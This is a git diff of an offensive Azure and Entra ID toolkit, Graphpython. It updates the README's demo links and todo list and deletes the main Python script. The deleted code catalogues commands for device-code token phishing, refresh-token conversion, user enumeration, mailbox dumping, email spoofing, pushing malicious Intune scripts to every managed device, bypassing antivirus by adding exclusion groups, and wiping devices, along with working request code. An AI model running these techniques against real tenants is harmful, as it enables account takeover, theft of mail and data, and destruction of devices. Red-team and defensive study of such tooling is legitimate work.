+ - [Find-UpdatableGroups](https://github.com/mlcsec/Graphpython/wiki/Demos#find-updatablegroups)
+ - [Invoke-Search](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-search)
+- [Post-Auth Intune Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-intune-enumeration)
+ - [Get-ManagedDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-manageddevices)
+ - [Get-UserDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-userdevices)
+ - [Get-DeviceCompliancePolicies](https://github.com/mlcsec/Graphpython/wiki/Demos#get-devicecompliancepolicies)
+ - [Get-DeviceConfigurationPolicies](https://github.com/mlcsec/Graphpython/wiki/Demos#get-deviceconfigurationpolicies)
+- [Post-Auth Intune Exploitation](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-intune-exploitation)
+ - [Display-AVPolicyRules](https://github.com/mlcsec/Graphpython/wiki/Demos#display-avpolicyrules)
+ - [Get-ScriptContent](https://github.com/mlcsec/Graphpython/wiki/Demos#get-scriptcontent)
+ - [Backdoor-Script](https://github.com/mlcsec/Graphpython/wiki/Demos#backdoor-script)
+ - [Deploy-MaliciousScript](https://github.com/mlcsec/Graphpython/wiki/Demos#deploy-maliciousscript)
+ - [Deploy-MaliciousWebLink](https://github.com/mlcsec/Graphpython/wiki/Demos#deploy-maliciousweblink)
+ - [Add-ExclusionGroupToPolicy](https://github.com/mlcsec/Graphpython/wiki/Demos#add-exclusiongrouptopolicy)
+- [Cleanup](https://github.com/mlcsec/Graphpython/wiki/Demos#cleanup)
+ - [Remove-GroupMember](https://github.com/mlcsec/Graphpython/wiki/Demos#remove-groupmember)
+- [Locators](https://github.com/mlcsec/Graphpython/wiki/Demos#locators)
+ - [Locate-ObjectID](https://github.com/mlcsec/Graphpython/wiki/Demos#locate-objectid)
+ - [Locate-PermissionID](https://github.com/mlcsec/Graphpython/wiki/Demos#locate-permissionid)
+ - [Locate-DirectoryRole](https://github.com/mlcsec/Graphpython/wiki/Demos#locate-directoryrole)
+
## Acknowledgements and References
- [AADInternals](https://github.com/Gerenios/AADInternals)
- [GraphRunner](https://github.com/dafthack/GraphRunner)
-- [TokenTactics](https://github.com/rvrsh3ll/TokenTactics)
-- [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2)
+- [TokenTactics](https://github.com/rvrsh3ll/TokenTactics) and [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2)
- [https://learn.microsoft.com/en-us/graph/permissions-reference](https://learn.microsoft.com/en-us/graph/permissions-reference)
- [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
- [https://graphpermissions.merill.net/](https://graphpermissions.merill.net/)
+
## Todo
- Update:
- - [ ] `Spoof-OWAEmailMessage` - add --email option containing formatted message as only accepts one line at the mo...
- - [ ] `Deploy-MaliciousScript` - add input options to choose runAsAccount, enforceSignatureCheck, etc. and more assignment options
+ - [ ] Add nextlink for `get-user` and `get-group`
+ - [ ] `Get-UserPrivileges` - update to flag any privileged directory role app ids green
+ - [x] `Locate-DirectoryRoleID` - similar to other locator functions but for resolving directory role ids
+ - [ ] `Deploy-MaliciousWebLink` - add option to deploy script which copies new windows web app link to all user desktops
- New:
- - [ ] `Grant-AdminConsent` - grant admin consent for requested/applied admin app permissions
- - [ ] `Backdoor-Script` - first user downloads target script content then adds their malicious code, supply updated script as args, encodes then [patch](https://learn.microsoft.com/en-us/graph/api/intune-shared-devicemanagementscript-update?view=graph-rest-beta)
- - [ ] `Deploy-MaliciousWin32App` - use IntuneWinAppUtil.exe to package the EXE/MSI and deploy to devices
+ - [ ] `Deploy-MaliciousWin32Exe/MSI` - use IntuneWinAppUtil.exe to package the EXE/MSI and deploy to devices
- check also [here](https://learn.microsoft.com/en-us/graph/api/resources/intune-app-conceptual?view=graph-rest-1.0) for managing iOS, Android, LOB apps etc. via graph
- - [ ] `Add-ApplicationCertificate` - similar to add-applicationpassword but gen and assign openssl cert to ent app
- [ ] `Update/Deploy-Policy` - update existing rules for av, asr, etc. policy or deploy a new one with specific groups/devices
- - [ ] `Update-ManagedDevice` - update/patch existing managed device config, [check this](https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update?view=graph-rest-beta)
- - [ ] `New-SignedJWT` - need to test this from sharpgraphview
+ - [ ] `Invoke-MFASweep` - port mfa sweep and add to outsider commands
+ - [ ] `Invoke-AADIntReconAsGuest` and `Invoke-AADIntUserEnumerationAsGuest` - port from AADInternals
- Options:
- - [ ] add functionality for chaining commands e.g. --command get-user, get-currentuser, get-groups
- - [ ] --proxy
+ - [ ] --proxy option
diff --git a/graphpython.py b/graphpython.py
deleted file mode 100644
index 676f295..0000000
--- a/graphpython.py
+++ /dev/null
@@ -1,5561 +0,0 @@
-#!/usr/bin/env python3
-
-import sys
-import requests
-import json
-import jwt
-import time
-import argparse
-import textwrap
-import os
-import re
-import dns.resolver
-import base64
-from tqdm import tqdm
-from tabulate import tabulate
-from datetime import datetime, timedelta, timezone
-import hashlib
-from cryptography import x509
-from cryptography.hazmat.primitives import hashes, serialization
-from cryptography.hazmat.primitives.serialization import pkcs12
-from cryptography.hazmat.backends import default_backend
-from urllib.parse import urlencode, urlparse, parse_qs
-import uuid
-import xml.etree.ElementTree as ET
-
-def print_yellow(message):
- print(f"\033[93m{message}\033[0m")
-
-def print_green(message):
- print(f"\033[92m{message}\033[0m")
-
-def print_red(message):
- print(f"\033[91m{message}\033[0m")
-
-def list_commands():
-
- outsider_commands = [
- ["Invoke-ReconAsOutsider", "Perform outsider recon of the target domain"],
- ["Invoke-UserEnumerationAsOutsider", "Checks whether the uer exists within Azure AD"]
- ]
-
- auth_commands = [
- ["Get-GraphTokens", "Obtain graph token via device code phish (saved to graph_tokens.txt)"],
- ["Get-TenantID", "Get tenant ID for target domain"],
- ["Get-TokenScope", "Get scope of supplied token"],
- ["Decode-AccessToken", "Get all token payload attributes"],
- ["Invoke-RefreshToMSGraphToken", "Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt)"],
- ["Invoke-RefreshToAzureManagementToken", "Convert refresh token to Azure Management token (saved to az_tokens.txt)"],
- ["Invoke-RefreshToVaultToken", "Convert refresh token to Azure Vault token (saved to vault_tokens.txt)"],
- ["Invoke-RefreshToMSTeamsToken", "Convert refresh token to MS Teams token (saved to teams_tokens.txt)"],
- ["Invoke-RefreshToOfficeAppsToken", "Convert refresh token to Office Apps token (saved to officeapps_tokens.txt)"],
- ["Invoke-RefreshToOfficeManagementToken", "Convert refresh token to Office Management token (saved to officemanagement_tokens.txt)"],
- ["Invoke-RefreshToOutlookToken", "Convert refresh token to Outlook token (saved to outlook_tokens.txt)"],
- ["Invoke-RefreshToSubstrateToken", "Convert refresh token to Substrate token (saved to substrate_tokens.txt)"],
- ["Invoke-RefreshToYammerToken", "Convert refresh token to Yammer token (saved to yammer_tokens.txt)"],
- ["Invoke-RefreshToIntuneEnrollmentToken", "Convert refresh token to Intune Enrollment token (saved to intune_tokens.txt)"],
- ["Invoke-RefreshToOneDriveToken", "Convert refresh token to OneDrive token (saved to onedrive_tokens.txt)"],
- ["Invoke-RefreshToSharePointToken", "Convert refresh token to SharePoint token (saved to sharepoint_tokens.txt)"],
- ["Invoke-CertToAccessToken", "Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)"],
- ["Invoke-ESTSCookieToAccessToken", "Convert ESTS cookie to MS Graph access token (saved to estscookie_tokens.txt)"],
- ["Invoke-AppSecretToAccessToken", "Convert Azure Application secretText credentials to access token (saved to appsecret_tokens.txt)"]
- #["New-SignedJWT", "Construct JWT and sign using Key Vault certificate (Azure Key Vault access token required) then generate Azure Management (ARM) token"]
- ]
-
- post_authenum_commands = [
- ["Get-CurrentUser", "Get current user profile"],
- ["Get-CurrentUserActivity", "Get recent activity and actions of current user"],
- ["Get-OrgInfo", "Get information relating to the target organisation"],
- ["Get-Domains", "Get domain objects"],
- ["Get-User", "Get all users (default) or target user (--id)"],
- ["Get-UserProperties", "Get current user properties (default) or target user (--id)"],
- ["Get-UserGroupMembership", "Get group memberships for current user (default) or target user (--id)"],
- ["Get-UserTransitiveGroupMembership", "Get transitive group memberships for current user (default) or target user (--id)"],
- ["Get-Group", "Get all groups (default) or target group (-id)"],
- ["Get-GroupMember", "Get all members of target group"],
- ["Get-AppRoleAssignments", "Get application role assignments for current user (default) or target user (--id)"],
- ["Get-ConditionalAccessPolicy", "Get conditional access policy properties"],
- ["Get-PersonalContacts", "Get contacts of the current user"],
- ["Get-CrossTenantAccessPolicy", "Get cross tenant access policy properties"],
- ["Get-PartnerCrossTenantAccessPolicy", "Get partner cross tenant access policy"],
- ["Get-UserChatMessages", "Get ALL messages from all chats for target user (Chat.Read.All)"],
- ["Get-AdministrativeUnitMember", "Get members of administrative unit"],
- ["Get-OneDriveFiles", "Get all accessible OneDrive files for current user (default) or target user (--id)"],
- ["Get-UserPermissionGrants", "Get permissions grants of current user (default) or target user (--id)"],
- ["Get-oauth2PermissionGrants", "Get oauth2 permission grants for current user (default) or target user (--id)"],
- ["Get-Messages", "Get all messages in signed-in user's mailbox (default) or target user (--id)"],
- ["Get-TemporaryAccessPassword", "Get TAP details for current user (default) or target user (--id)"],
- ["Get-Password", "Get passwords registered to current user (default) or target user (--id)"],
- ["List-AuthMethods", "List authentication methods for current user (default) or target user (--id)"],
- ["List-DirectoryRoles", "List all directory roles activated in the tenant"],
- ["List-Notebooks", "List current user notebooks (default) or target user (--id)"],
- ["List-ConditionalAccessPolicies", "List conditional access policy objects"],
- ["List-ConditionalAuthenticationContexts", "List conditional access authentication context"],
- ["List-ConditionalNamedLocations", "List conditional access named locations"],
- ["List-SharePointRoot", "List root SharePoint site properties"],
- ["List-SharePointSites", "List any available SharePoint sites"],
- ["List-SharePointURLs", "List SharePoint site web URLs visible to current user"],
- ["List-ExternalConnections", "List external connections"],
- ["List-Applications", "List all Azure Applications"],
- ["List-ServicePrincipals", "List all service principals"],
- ["List-Tenants", "List tenants"],
- ["List-JoinedTeams", "List joined teams for current user (default) or target user (--id)"],
- ["List-Chats", "List chats for current user (default) or target user (--id)"],
- ["List-ChatMessages", "List messages in target chat (--id)"],
- ["List-Devices", "List devices"],
- ["List-AdministrativeUnits", "List administrative units"],
- ["List-OneDrives", "List current user OneDrive (default) or target user (--id)"],
- ["List-RecentOneDriveFiles", "List current user recent OneDrive files"],
- ["List-SharedOneDriveFiles", "List OneDrive files shared with the current user"],
- ["List-OneDriveURLs", "List OneDrive web URLs visible to current user"]
- ]
-
- post_authexploit_commands = [
- ["Invoke-CustomQuery", "Custom GET query to target Graph API endpoint"],
- ["Invoke-Search", "Search for string within entity type (driveItem, message, chatMessage, site, event)"],
- ["Find-PrivilegedRoleUsers", "Find users with privileged roles assigned"],
- ["Find-UpdatableGroups", "Find groups which can be updated by the current user"],
- ["Find-SecurityGroups", "Find security groups and group members"],
- ["Find-DynamicGroups", "Find groups with dynamic membership rules"],
- ["Find-Object", "Find object via ID and display object properties"],
- ["Update-UserPassword", "Update the passwordProfile of the target user (NewUserS3cret@Pass!)"],
- ["Add-ApplicationPassword", "Add client secret to target application"],
- ["Add-ApplicationPermission", "Add permission to target application (application/delegated)"],
- ["Add-UserTAP", "Add new Temporary Access Password (TAP) to target user"],
- ["Add-GroupMember", "Add member to target group"],
- ["Create-Application", "Create new enterprise application with default settings"],
- ["Create-NewUser", "Create new Entra ID user"],
- ["Invite-GuestUser", "Invite guest user to Entra ID"],
- ["Assign-PrivilegedRole", "Assign chosen privileged role to user/group/object"],
- ["Open-OWAMailboxInBrowser", "Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token"],
- ["Dump-OWAMailbox", "Dump OWA Office 365 mailbox"],
- ["Spoof-OWAEmailMessage", "Send email from current user's Outlook mailbox or spoof another user (--id) (Mail.Send)"]
- ]
-
- intune_enum = [
- ["Get-ManagedDevices", "Get managed devices"],
- ["Get-UserDevices", "Get user devices"],
- ["Get-CAPs", "Get conditional access policies"],
- ["Get-DeviceCategories", "Get device categories"],
- ["Get-DeviceComplianceSummary", "Get device compliance summary"],
- ["Get-DeviceConfigurations", "Get device configurations"],
- ["Get-DeviceConfigurationPolicies", "Get device configuration policies and assignment details (av, asr, diskenc, etc.)"],
- ["Get-DeviceConfigurationPolicySettings", "Get device configuration policy settings"],
- ["Get-DeviceEnrollmentConfigurations", "Get device enrollment configurations"],
- ["Get-DeviceGroupPolicyConfigurations", "Get device group policy configurations and assignment details"],
- ["Get-DeviceGroupPolicyDefinition", "Get device group policy definition"],
- ["Get-RoleDefinitions", "Get role definitions"],
- ["Get-RoleAssignments", "Get role assignments"]
- ]
-
- intune_exploit = [
- ["Dump-DeviceManagementScripts", "Dump device management PowerShell scripts"],
- ["Get-ScriptContent", "Get device management script content"],
- ["Deploy-MaliciousScript", "Deploy new malicious device management PowerShell script (all devices)"],
- # Deploy-MaliciousWin32App - Deploy malicious exe/msi to managed devices
- ["Display-AVPolicyRules", "Display antivirus policy rules"],
- ["Display-ASRPolicyRules", "Display Attack Surface Reduction (ASR) policy rules"],
- ["Display-DiskEncryptionPolicyRules", "Display disk encryption policy rules"],
- ["Display-FirewallPolicyRules", "Display firewall policy rules"],
- ["Display-EDRPolicyRules", "Display EDR policy rules"],
- ["Display-LAPSAccountProtectionPolicyRules", "Display LAPS account protection policy rules"],
- ["Display-UserGroupAccountProtectionPolicyRules", "Display user group account protection policy rules"],
- ["Get-DeviceCompliancePolicies", "Get device compliance policies"],
- ["Add-ExclusionGroupToPolicy", "Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device"],
- ["Reboot-Device", "Reboot managed device"],
- ["Retire-Device", "Retire managed device"],
- ["Lock-Device", "Lock managed device"],
- ["Shutdown-Device", "Shutdown managed device"]
- # Update-ManagedDevice - apply/update new device config
- ]
-
- cleanup_commands = [
- ["Delete-User", "Delete a user"],
- ["Delete-Group", "Delete a group"],
- ["Remove-GroupMember", "Remove user from a group"],
- ["Delete-Application", "Delete an application"],
- ["Delete-Device", "Delete managed device"],
- ["Wipe-Device", "Wipe managed device"],
- ]
-
- print("\nOutsider")
- print("=" * 80)
- print(tabulate(outsider_commands, tablefmt="plain"))
-
- print("\nAuthentication")
- print("=" * 80)
- print(tabulate(auth_commands, tablefmt="plain"))
-
- print("\nPost-Auth Enumeration")
- print("=" * 80)
- print(tabulate(post_authenum_commands, tablefmt="plain"))
-
- print("\nPost-Auth Exploitation")
- print("=" * 80)
- print(tabulate(post_authexploit_commands, tablefmt="plain"))
-
- print("\nPost-Auth Intune Enumeration")
- print("=" * 80)
- print(tabulate(intune_enum, tablefmt="plain"))
-
- print("\nPost-Auth Intune Exploitation")
- print("=" * 80)
- print(tabulate(intune_exploit, tablefmt="plain"))
-
- print("\nCleanup")
- print("=" * 80)
- print(tabulate(cleanup_commands, tablefmt="plain"))
- print("\n")
-
-def forge_user_agent(device=None, browser=None):
-
- user_agent = ''
-
- if device == 'Mac':
- if browser == 'Chrome':
- user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'
- elif browser == 'Firefox':
- user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0'
- elif browser == 'Edge':
- user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/604.1 Edg/91.0.100.0'
- elif browser == 'Safari':
- user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15'
- else:
- user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15'
-
- elif device == 'Windows':
- if browser == 'IE':
- user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko'
- elif browser == 'Chrome':
- user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'
- elif browser == 'Firefox':
- user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0'
- elif browser == 'Edge':
- user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042'
- else:
- user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042'
-
- elif device == 'AndroidMobile':
- if browser == 'Android':
- user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30'
- elif browser == 'Chrome':
- user_agent = 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Mobile Safari/537.36'
- elif browser == 'Firefox':
- user_agent = 'Mozilla/5.0 (Android 4.4; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0'
- elif browser == 'Edge':
- user_agent = 'Mozilla/5.0 (Linux; Android 8.1.0; Pixel Build/OPM4.171019.021.D1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36 EdgA/42.0.0.2057'
- else:
- user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30'
-
- elif device == 'iPhone':
- if browser == 'Chrome':
- user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.114 Mobile/15E148 Safari/604.1'
- elif browser == 'Firefox':
- user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4'
- elif browser == 'Edge':
- user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1'
- elif browser == 'Safari':
- user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1'
- else:
- user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1'
-
- else:
- if browser == 'Android':
- user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30'
- elif browser == 'IE':
- user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko'
- elif browser == 'Chrome':
- user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'
- elif browser == 'Firefox':
- user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0'
- elif browser == 'Safari':
- user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15'
- else:
- user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042'
-
- return user_agent
-
-def get_user_agent(args):
- if args.device:
- if args.browser:
- return forge_user_agent(device=args.device, browser=args.browser)
- else:
- return forge_user_agent(device=args.device)
- else:
- if args.browser:
- return forge_user_agent(browser=args.browser)
- else:
- return forge_user_agent()
-
-def get_access_token(token_input):
- if os.path.isfile(token_input):
- with open(token_input, 'r', encoding='utf-16') as file:
- access_token = file.read().strip()
- else:
- access_token = token_input
- return access_token
-
-def read_file_content(file_path):
- try:
- with open(file_path, 'r', encoding='utf-8') as file:
- return file.read()
- except UnicodeDecodeError:
- with open(file_path, 'r', encoding='utf-16') as file:
- return file.read()
-
-def format_list_style(data):
- if not data.get('value'):
- print_red("[-] No data found")
- return
-
- for d in data.get('value', []):
- for key, value in d.items():
- print(f"{key} : {value}")
- print("\n")
-
-def graph_api_get(access_token, url, args):
- try:
- output_returned = False
- while url:
-
- user_agent = get_user_agent(args)
- headers = {
- "Authorization": f"Bearer {access_token}",
- "User-Agent": user_agent
- }
- response = requests.get(url, headers=headers)
- response.raise_for_status()
- response_body = response.json()
- filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")}
-
- if filtered_data:
- format_list_style(filtered_data)
- output_returned = True
-
- url = response_body.get("@odata.nextLink")
-
- if not output_returned:
- print_red("[-] No data found")
-
- except requests.exceptions.RequestException as ex:
- print_red(f"[-] HTTP Error: {ex}")
-
-
-def get_tenant_domains(domain):
-
- domains = [domain]
- try:
- openid_config_url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration"
- response = requests.get(openid_config_url)
- response.raise_for_status()
- openid_config = response.json()
- tenant_region_sub_scope = openid_config.get("tenant_region_sub_scope", "")
-
- if tenant_region_sub_scope == "DOD":
- autodiscover_url = "https://autodiscover-s-dod.office365.us/autodiscover/autodiscover.svc"
- elif tenant_region_sub_scope == "DODCON":
- autodiscover_url = "https://autodiscover-s.office365.us/autodiscover/autodiscover.svc"
- else:
- autodiscover_url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc"
-
- autodiscover_body = f"""
-
-
-
- http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation
- {autodiscover_url}
-
- http://www.w3.org/2005/08/addressing/anonymous
-
-
-
-
-
- {domain}
-
-
-
-
- """.strip()
-
- headers = {
- "Content-Type": "text/xml; charset=utf-8",
- "SOAPAction": '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"',
- "User-Agent": "AutodiscoverClient"
- }
-
- autodiscover_response = requests.post(autodiscover_url, data=autodiscover_body, headers=headers)
- autodiscover_response.raise_for_status()
- autodiscover_xml = autodiscover_response.content
- tree = ET.ElementTree(ET.fromstring(autodiscover_xml))
- namespaces = {
- 's': 'http://schemas.xmlsoap.org/soap/envelope/',
- 'a': 'http://www.w3.org/2005/08/addressing',
- 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages',
- 't': 'http://schemas.microsoft.com/exchange/services/2006/types',
- 'ns2': 'http://schemas.microsoft.com/exchange/2010/Autodiscover'
- }
-
- found_domains = [elem.text for elem in tree.findall('.//ns2:Domain', namespaces)]
-
- if domain not in found_domains:
- found_domains.append(domain)
-
- domains = sorted(found_domains)
-
- except Exception as e:
- print(f"An unexpected error occurred: {e}")
-
- return domains
-
-def get_credential_type(username, flow_token=None, original_request=None):
- body = {
- "username": username,
- "isOtherIdpSupported": True,
- "checkPhones": True,
- "isRemoteNGCSupported": False,
- "isCookieBannerShown": False,
- "isFidoSupported": False,
- "originalRequest": original_request,
- "flowToken": flow_token
- }
-
- if original_request:
- body["isAccessPassSupported"] = True
-
- try:
- response = requests.post("https://login.microsoftonline.com/common/GetCredentialType",
- json=body,
- headers={"Content-Type": "application/json; charset=UTF-8"})
- response.raise_for_status()
- return response.json()
- except requests.exceptions.RequestException as e:
- print(f"Error in Get-CredentialType: {e}")
- return None
-
-def get_rst_token(url, endpoint_address, username, password="none"):
- request_id = str(uuid.uuid4())
- now = datetime.utcnow()
- created = now.isoformat() + "Z"
- expires = (now + timedelta(minutes=10)).isoformat() + "Z"
-
- body = f"""
-
-
-
- http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
- {url}
- urn:uuid:{str(uuid.uuid4())}
-
-
- {created}
- {expires}
-
-
- {username}
- {password}
-
-
-
-
-
- http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
-
-
- {endpoint_address}
-
- http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
-
-
-
- """
-
- try:
- response = requests.post(url,
- data=body,
- headers={"Content-Type": "application/soap+xml; charset=UTF-8"},
- timeout=10)
- response.raise_for_status()
- response_xml = response.content
-
- # parse the response XML (might need to check this)
- if "urn:oasis:names:tc:SAML:1.0:assertion" in response_xml.decode():
- return True
- return False
- except requests.exceptions.RequestException as e:
- print(f"Error in Get-RSTToken: {e}")
- return None
-
-def does_user_exist(user, method="Normal"):
- exists = False
- error_details = ""
-
- if method == "Normal":
- cred_type = get_credential_type(user)
- if cred_type:
- if cred_type.get('ThrottleStatus') == 1:
- print("Requests throttled!")
- return None
- exists = cred_type.get('IfExistsResult') in [0, 6]
- else:
- if method == "Login":
- random_guid = str(uuid.uuid4())
- body = {
- "resource": random_guid,
- "client_id": random_guid,
- "grant_type": "password",
- "username": user,
- "password": "none",
- "scope": "openid"
- }
- try:
- response = requests.post("https://login.microsoftonline.com/common/oauth2/token",
- data=body,
- headers={"Content-Type": "application/x-www-form-urlencoded"})
- response.raise_for_status()
- exists = True
- except requests.exceptions.RequestException as e:
- error_details = e.response.json().get("error_description", "")
-
- elif method in ["Autologon", "RST2"]:
- request_id = str(uuid.uuid4())
- domain = user.split("@")[1]
- password = "none"
- now = datetime.utcnow()
- created = now.isoformat() + "Z"
- expires = (now + timedelta(minutes=10)).isoformat() + "Z"
-
- if method == "RST2":
- url = "https://login.microsoftonline.com/RST2.srf"
- end_point = "sharepoint.com"
- else:
- url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={request_id}"
- end_point = "urn:federation:MicrosoftOnline"
-
- try:
- response = get_rst_token(url, end_point, user, password)
- exists = response is not None
- except Exception as e:
- error_details = str(e)
-
- if not exists and error_details:
- if error_details.startswith("AADSTS50053"):
- exists = True
- elif error_details.startswith("AADSTS50126"):
- exists = True
- elif error_details.startswith("AADSTS50076"):
- exists = True
- elif error_details.startswith("AADSTS700016"):
- exists = True
- elif error_details.startswith("AADSTS50034"):
- exists = False
- elif error_details.startswith("AADSTS50059"):
- exists = False
- elif error_details.startswith("AADSTS81016"):
- print("Got Invalid STS request. The tenant may not have DesktopSSO or Directory Sync enabled.")
- return None
- else:
- return None
-
- return exists
-
-def main():
- parser = argparse.ArgumentParser(
- formatter_class=argparse.RawDescriptionHelpFormatter,
- epilog=textwrap.dedent('''\
- examples:
- graphpython.py --command invoke-reconasoutsider --domain company.com
- graphpython.py --command invoke-userenumerationasoutsider --username
- graphpython.py --command get-graphtokens
- graphpython.py --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token
- graphpython.py --command get-users --token eyJ0... -- select displayname,id [--id ]
- graphpython.py --command list-recentonedrivefiles --token token
- graphpython.py --command invoke-search --search "credentials" --entity driveItem --token token
- graphpython.py --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token
- graphpython.py --command assign-privilegedrole --token token
- graphpython.py --command spoof-owaemailmessage [--id ] --token token
- graphpython.py --command get-manageddevices --token intune-token
- graphpython.py --command deploy-maliciousscript --script malicious.ps1 --token token
- graphpython.py --command add-exclusiongrouptopolicy --id --token token
- graphpython.py --command reboot-device --id --token eyj0...
- ''')
-)
- parser.add_argument("--command", help="Command to execute")
- parser.add_argument("--list-commands", action="store_true", help="List available commands")
- parser.add_argument("--token", help="Microsoft Graph access token or refresh token for FOCI abuse")
- parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie value")
- parser.add_argument("--use-cae", action="store_true", help="Flag to use Continuous Access Evaluation (CAE) - add 'cp1' as client claim to get an access token valid for 24 hours")
- parser.add_argument("--cert", help="X509Certificate path (.pfx)")
- parser.add_argument("--domain", help="Target domain")
- parser.add_argument("--tenant", help="Target tenant ID")
- parser.add_argument("--username", help="Username or file containing username (invoke-userenumerationasoutsider)")
- parser.add_argument("--secret", help="Enterprise application secretText (invoke-appsecrettoaccesstoken)")
- parser.add_argument("--id", help="ID of target object")
- parser.add_argument("--select", help="Fields to select from output")
- parser.add_argument("--query", help="Raw API query (GET only)")
- parser.add_argument("--search", help="Search string")
- parser.add_argument("--entity", choices=['driveItem', 'message', 'chatMessage', 'site', 'event'],help="Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)")
- parser.add_argument("--device", choices=['mac', 'windows', 'androidmobile', 'iphone'], help="Device type for User-Agent forging")
- parser.add_argument("--browser", choices=['android', 'IE', 'chrome', 'firefox', 'edge', 'safari'], help="Browser type for User-Agent forging")
- parser.add_argument("--only-return-cookies", action="store_true", help="Only return cookies from the request (open-owamailboxinbrowser)")
- parser.add_argument("--mail-folder", choices=['allitems', 'inbox', 'archive', 'drafts', 'sentitems', 'deleteditems', 'recoverableitemsdeletions'], help="Mail folder to dump (dump-owamailbox)")
- parser.add_argument("--top", type=int, help="Number (int) of messages to retrieve (dump-owamailbox)")
